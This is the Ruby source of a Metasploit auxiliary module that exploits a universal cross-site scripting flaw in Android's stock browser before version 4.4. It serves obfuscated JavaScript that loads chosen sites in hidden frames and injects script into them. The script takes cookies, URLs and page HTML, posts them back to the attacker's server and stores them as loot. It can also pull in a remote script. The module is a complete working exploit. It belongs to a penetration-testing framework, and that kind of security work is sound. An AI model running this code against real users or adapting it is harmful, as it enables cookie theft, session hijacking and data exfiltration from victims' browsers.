## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::JSObfu include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', 'Description' => %q{ This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in all versions of Android's open source stock browser before 4.4, and Android apps running on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug to scrape both cookie data and page contents from a vulnerable browser window. Target URLs that use X-Frame-Options can not be exploited with this vulnerability. Some sample UXSS scripts are provided in data/exploits/uxss. }, 'Author' => [ 'Rafay Baloch', # Original discovery, disclosure 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'References' => [ [ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'], [ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ], [ 'URL', 'http://trac.webkit.org/changeset/96826/webkit' ] ], 'DefaultAction' => 'WebServer', 'DisclosureDate' => '2014-10-04' )) register_options([ OptString.new('TARGET_URLS', [ true, "The comma-separated list of URLs to steal.", 'http://example.com' ]), OptString.new('CUSTOM_JS', [ false, "A string of javascript to execute in the context of the target URLs.", '' ]), OptString.new('REMOTE_JS', [ false, "A URL to inject into a script tag in the context of the target URLs.", '' ]) ]) end def on_request_uri(cli, request) print_status("Request '#{request.method} #{request.uri}'") if request.method.downcase == 'post' collect_data(request) send_response_html(cli, '') else payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) domains = datastore['TARGET_URLS'].split(',') script = js_obfuscate <<-EOS var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}")); targets.forEach(function(target, i){ var obj = document.createElement('object'); obj.setAttribute('data', target); obj.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); obj.onload = function() { obj.data = 'javascript:if(document&&document.body){(opener||top).postMessage('+ 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ '));}void(0);'; obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; }; document.body.appendChild(obj); }); window.addEventListener('message', function(e) { var data = JSON.parse(e.data); var x = new XMLHttpRequest; x.open('POST', window.location, true); x.send(e.data); }, false); EOS html = <<-EOS EOS print_status("Sending initial HTML ...") send_response_html(cli, html) end end def collect_data(request) begin response = JSON.parse(request.body) rescue JSON::ParserError print_error "Invalid JSON request." else url = response['url'] if response && url file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") print_good "Collected data from URL: #{url}" print_good "Saved to: #{file}" end end end def custom_js rjs_hook + datastore['CUSTOM_JS'] end def rjs_hook remote_js = datastore['REMOTE_JS'] if remote_js.present? "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " else '' end end def run exploit end end